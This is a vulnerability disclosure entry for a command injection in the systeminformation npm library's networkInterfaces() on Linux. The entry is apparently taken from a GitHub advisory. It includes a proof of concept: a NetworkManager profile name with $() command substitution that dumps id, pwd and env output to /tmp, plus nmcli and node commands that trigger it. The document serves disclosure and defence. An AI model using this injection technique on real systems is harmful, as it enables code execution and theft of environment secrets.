# Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name

systeminformation interpolated unsanitized NetworkManager connection profile names into execSync shell strings, letting a local profile name execute commands in the calling Node process.

- Payout: Research
- Severity: high
- Program: systeminformation
- Found by: thesmartshadow
- Disclosed: 2026-05-13
- CVE: CVE-2026-44724
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hvx9-hwr7-wjj9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hvx9-hwr7-wjj9
- Tags: area:oss domain:oss impact:privesc impact:rce kind:research platform:ghsa sev:high tech:linux tech:nodejs technique:source-review vuln:command-injection vuln:rce

**Target:** npm library lib/network.js networkInterfaces() on Linux NetworkManager/nmcli
**Root cause:** The interface name is sanitized via util.sanitizeShellString before shell use, but the NetworkManager connection profile name parsed from `nmcli device status` output is reused unsanitized in three execSync shell command strings; quoting with "${connectionName}" does not prevent $(), backtick or quote breakout.
**Steps:**
1. Create a dummy NetworkManager profile whose con-name contains command substitution: `nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'`
2. Assign an address so os.networkInterfaces() sees the interface: `nmcli connection modify '<name>' ipv4.method manual ipv4.addresses 192.0.2.253/32 ipv6.method disabled`
3. Activate: `nmcli connection up '<name>'`
4. Confirm `nmcli device status | grep si-nmghsa0` returns the name unchanged
5. Trigger with no attacker-controlled argument: `node -e "const si=require('./lib'); si.networkInterfaces().then(...)"`
6. Verify side effects: `test -e /tmp/si-nm-id-proof && echo CONFIRMED`
**How found:** Noticed the library sanitizes the interface name before shell use but applies no equivalent sanitization to the connection name parsed from nmcli output, then validated against real NetworkManager that the profile name survives nmcli unchanged into the execSync sinks.
**Exploitation:** An attacker able to create or rename an active NetworkManager connection profile stores shell metacharacters in the profile name. When any Node process using systeminformation calls networkInterfaces() (or getStaticData()/getAllData()), getLinuxIfaceConnectionName parses the name from nmcli output and interpolates it into `nmcli connection show "${connectionName}" 2>/dev/null | grep ...` executed via execSync, running the injected command with the caller's privileges and environment.
**Escalation:** If the calling agent runs with elevated privileges, the injected command inherits them; environment variables (tokens, SSH agent socket) are reachable from the injected process.
**Insight:** When a library sanitizes one value before shell interpolation, check every other value parsed from the same command output — trust boundaries often differ between sibling fields, and double-quoting does not stop $() or backticks.

## Proof of concept (copied exactly from the original report)

**Malicious NetworkManager profile name with command substitution**

```
nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'
```

**Node call triggering networkInterfaces() exploit**

```
node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item)
console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});"
```

**Activate malicious profile and modify address**

```
nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \
  ipv4.method manual \
  ipv4.addresses 192.0.2.253/32 \
  ipv6.method disabled
```

